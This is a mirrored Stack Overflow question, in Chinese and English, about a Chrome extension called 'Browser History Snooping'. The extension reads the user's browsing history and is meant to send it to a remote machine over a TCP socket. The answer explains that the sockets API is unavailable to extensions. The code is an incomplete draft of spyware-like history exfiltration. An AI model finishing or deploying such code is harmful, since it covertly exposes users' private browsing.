繁体   English   中英

未捕获的TypeError:无法读取Chrome扩展程序中未定义的属性“ tcp”

[英]Uncaught TypeError: Cannot read property 'tcp' of undefined in chrome extension

我正在尝试开发chrome扩展程序,该功能可以监听浏览器历史记录并将其发送到远程计算机。 我需要建立套接字连接以传输数据。 但我收到上述错误。 在线阅读大量文章,其中指出在具有套接字权限的上下文中清单文件中肯定有错误。 谁能找出错误? 请检查下面的代码。

清单文件:

{
    "manifest_version": 2,
    "name": "Browser History Snooping",
    "description": "This extension snoops browser history and sends it to a remote machine",
    "version": "1.0",
    "browser_action": {
        "default_icon": "icon.png",
        "default_popup": "popup.html"
    },
    "permissions": [
        "history"
    ],
    "sockets": {
        "tcp": {
            "connect": ""
        }
    }
}

的JavaScript

var histories = [];
var visits = [];

chrome.history.search({
    text: '',
    maxResults: 0
}, function (historyItems) {
    var historiesProcessed = 0;
    for (var i = 0; i < historyItems.length; i++) {
        //histories.push(historyItems[i]);
        console.log(historyItems[i]);

        chrome.history.getVisits({
            url: historyItems[i].url
        }, function (visitItems) {
            for (var i = 0; i < visitItems.length; i++) {
                visits.push(visitItems[i]);
            }
            historiesProcessed++;
            if (historiesProcessed === historyItems.length) {
                console.log(visits.length + ' visits');
            }
        });
    }

    console.log(histories);
});

chrome.sockets.tcp.create({}, function (createInfo) {
    chrome.sockets.tcp.connect(createInfo.socketId, '127.0.0.1', 8888,
        function (result) {
            if (result >= 0) {
                console.log('Successfully connected');
            }
        });
});

错误是不言自明的: chrome.sockets是未定义的。

扩展文档中没有sockets API,但它是为chrome应用程序定义的。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM